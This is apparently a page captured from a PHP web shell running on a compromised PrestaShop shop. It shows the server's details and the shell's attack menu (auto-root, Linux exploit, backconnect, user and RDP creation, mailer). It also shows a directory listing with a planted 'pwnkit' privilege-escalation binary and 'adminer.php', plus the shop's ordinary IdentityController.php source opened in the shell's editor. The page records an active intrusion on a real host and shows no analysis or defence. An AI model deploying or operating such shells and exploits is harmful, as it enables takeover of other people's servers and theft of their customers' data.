Linux webm004.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Apache
: 10.102.20.4 | : 216.73.217.153
Cant Read [ /etc/named.conf ]
5.4.45
opusyn1t
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
opusyn1t /
www /
boutique /
controllers /
front /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
AddressController.php
13.17
KB
-rw----r--
AddressesController.php
3.14
KB
-rw----r--
AttachmentController.php
1.61
KB
-rw----r--
AuthController.php
27.33
KB
-rw----r--
BestSalesController.php
1.99
KB
-rw----r--
CartController.php
13.27
KB
-rw----r--
CategoryController.php
7.73
KB
-rw----r--
ChangeCurrencyController.php
1.37
KB
-rw----r--
CmsController.php
4.88
KB
-rw----r--
CompareController.php
5.24
KB
-rw----r--
ContactController.php
11.4
KB
-rw----r--
DiscountController.php
1.98
KB
-rw----r--
GetFileController.php
11.09
KB
-rw----r--
GuestTrackingController.php
8.08
KB
-rw----r--
HistoryController.php
2.24
KB
-rw----r--
IdentityController.php
5.26
KB
-rw----r--
IndexController.php
1.49
KB
-rw----r--
ManufacturerController.php
4.87
KB
-rw----r--
MyAccountController.php
1.84
KB
-rw----r--
NewProductsController.php
2.37
KB
-rw----r--
OrderConfirmationController.ph...
4.57
KB
-rw----r--
OrderController.php
13.33
KB
-rw----r--
OrderDetailController.php
8.58
KB
-rw----r--
OrderFollowController.php
4.54
KB
-rw----r--
OrderOpcController.php
30.35
KB
-rw----r--
OrderReturnController.php
2.96
KB
-rw----r--
OrderSlipController.php
1.75
KB
-rw----r--
PageNotFoundController.php
3.99
KB
-rw----r--
ParentOrderController.php
22.48
KB
-rw----r--
PasswordController.php
5.04
KB
-rw----r--
PdfInvoiceController.php
2.44
KB
-rw----r--
PdfOrderReturnController.php
1.98
KB
-rw----r--
PdfOrderSlipController.php
1.85
KB
-rw----r--
PricesDropController.php
2.01
KB
-rw----r--
ProductController.php
31.26
KB
-rw----r--
SearchController.php
5.82
KB
-rw----r--
SitemapController.php
2.76
KB
-rw----r--
StatisticsController.php
2.81
KB
-rw----r--
StoresController.php
9
KB
-rw----r--
SupplierController.php
4.6
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
autoload_classmap.php
0
B
-r--r--r--
index.php
1.24
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : IdentityController.php
<?php /* * 2007-2014 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/osl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2014 PrestaShop SA * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ class IdentityControllerCore extends FrontController { public $auth = true; public $php_self = 'identity'; public $authRedirection = 'identity'; public $ssl = true; public function init() { parent::init(); $this->customer = $this->context->customer; } /** * Start forms process * @see FrontController::postProcess() */ public function postProcess() { $origin_newsletter = (bool)$this->customer->newsletter; if (Tools::isSubmit('submitIdentity')) { $email = trim(Tools::getValue('email')); if (Tools::getValue('months') != '' && Tools::getValue('days') != '' && Tools::getValue('years') != '') $this->customer->birthday = (int)(Tools::getValue('years')).'-'.(int)(Tools::getValue('months')).'-'.(int)(Tools::getValue('days')); elseif (Tools::getValue('months') == '' && Tools::getValue('days') == '' && Tools::getValue('years') == '') $this->customer->birthday = null; else $this->errors[] = Tools::displayError('Invalid date of birth.'); if (Tools::getIsset('old_passwd')) $old_passwd = trim(Tools::getValue('old_passwd')); if (!Validate::isEmail($email)) $this->errors[] = Tools::displayError('This email address is not valid'); elseif ($this->customer->email != $email && Customer::customerExists($email, true)) $this->errors[] = Tools::displayError('An account using this email address has already been registered.'); elseif (!Tools::getIsset('old_passwd') || (Tools::encrypt($old_passwd) != $this->context->cookie->passwd)) $this->errors[] = Tools::displayError('The password you entered is incorrect.'); elseif (Tools::getValue('passwd') != Tools::getValue('confirmation')) $this->errors[] = Tools::displayError('The password and confirmation do not match.'); else { $prev_id_default_group = $this->customer->id_default_group; // Merge all errors of this file and of the Object Model $this->errors = array_merge($this->errors, $this->customer->validateController()); } if (!count($this->errors)) { $this->customer->id_default_group = (int)$prev_id_default_group; $this->customer->firstname = Tools::ucwords($this->customer->firstname); if (Configuration::get('PS_B2B_ENABLE')) { $this->customer->website = Tools::getValue('website'); // force update of website, even if box is empty, this allows user to remove the website $this->customer->company = Tools::getValue('company'); } if (!Tools::getIsset('newsletter')) $this->customer->newsletter = 0; elseif (!$origin_newsletter && Tools::getIsset('newsletter')) if ($module_newsletter = Module::getInstanceByName('blocknewsletter')) if ($module_newsletter->active) $module_newsletter->confirmSubscription($this->customer->email); if (!Tools::getIsset('optin')) $this->customer->optin = 0; if (Tools::getValue('passwd')) $this->context->cookie->passwd = $this->customer->passwd; if ($this->customer->update()) { $this->context->cookie->customer_lastname = $this->customer->lastname; $this->context->cookie->customer_firstname = $this->customer->firstname; $this->context->smarty->assign('confirmation', 1); } else $this->errors[] = Tools::displayError('The information cannot be updated.'); } } else $_POST = array_map('stripslashes', $this->customer->getFields()); return $this->customer; } /** * Assign template vars related to page content * @see FrontController::initContent() */ public function initContent() { parent::initContent(); if ($this->customer->birthday) $birthday = explode('-', $this->customer->birthday); else $birthday = array('-', '-', '-'); /* Generate years, months and days */ $this->context->smarty->assign(array( 'years' => Tools::dateYears(), 'sl_year' => $birthday[0], 'months' => Tools::dateMonths(), 'sl_month' => $birthday[1], 'days' => Tools::dateDays(), 'sl_day' => $birthday[2], 'errors' => $this->errors, 'genders' => Gender::getGenders(), )); if (Module::isInstalled('blocknewsletter')) $this->context->smarty->assign('newsletter', (int)Module::getInstanceByName('blocknewsletter')->active); $this->setTemplate(_PS_THEME_DIR_.'identity.tpl'); } public function setMedia() { parent::setMedia(); $this->addCSS(_THEME_CSS_DIR_.'identity.css'); $this->addJS(_PS_JS_DIR_.'validate.js'); } }
Close